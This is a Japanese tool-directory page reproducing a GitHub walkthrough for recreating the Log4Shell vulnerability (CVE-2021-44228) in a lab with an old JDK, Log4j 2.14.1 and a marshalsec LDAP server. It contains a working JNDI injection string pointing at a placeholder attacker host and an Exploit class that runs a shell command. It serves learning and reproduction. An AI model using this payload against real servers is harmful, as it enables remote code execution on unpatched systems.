Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/racoon-rac/cve-2021-44228
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ペイロード開発ラボと実践
GitHubracoon-rac/cve-2021-44228

CVE-2021-44228

CVE-2021-44228 (Log4Shell) のステップバイステップ再現ガイド(JDK 8u20、脆弱な Log4j 2.14.1、marshalsec LDAP サーバー、カスタムペイロードのコンパイルを使用)

リポジトリを見る
53年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-44228

こっちのお話の方がより実用性があると思います(泣)christophetd/log4shell-vulnerable-app

興味を持って勢いで調べただけなので、あやふやな箇所や間違いがあると思われます。
どうか、自己責任でお願いします。

再現環境を作る。

linux環境であれば動作すると思われます。

1. jdk のダウンロード

jdk8u191 以降では com.sun.jndi.rmi.object.trustURLCodebase オプションが追加され、デフォルトが False になっています。 この状態では外部で用意した class を読み込ませることができないので、今回はそれ以前のバージョンを利用します。
(内部のクラスを読み込ませたりバイパスしたりできる??) https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

jdk8u20の直接ダウンロード
解凍して適当に /opt などに置いておきます。

2. 脆弱性のあるlog4jの用意

log4jのダウンロード
解凍して log4j-api-2.14.1.jar と log4j-core-2.14.1.jar を取り出します(今回は log4japp というディレクトリに入れました)。

3. log4j のクラスパスを通す

root@kitploit:~
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar

4. 簡単なアプリケーションを作成

root@kitploit:~
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {


        private static final Logger logger = LogManager.getLogger(log4j.class);

        public static void main(String[] args) {
                logger.error("${jndi:ldap://your-ip:1389/resource}");
                // /resource がないと動きませんでした。
        }
}

5. marshalsec の用意

mbechler/marshalsec
ldap の問い合わせを Web の方にリダイレクトさせる。

root@kitploit:~
mvn clean package -DskipTests

待受開始

root@kitploit:~
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"

marshalsec のリダイレクト先も用意

root@kitploit:~
python3 -m http.server 8888

6. marshalsec に渡させるクラスを用意

root@kitploit:~
class Exploit {
    static {
        try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
    }
}

インストールした jdk8u20 を使ってコンパイル

root@kitploit:~
/opt/java/jdk1.8.0_20/bin/javac Exploit.java

7. exploit

インストールした jdk8u20 を使ってコンパイル・実行する。

root@kitploit:~
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j

screenshot

ツールをダウンロード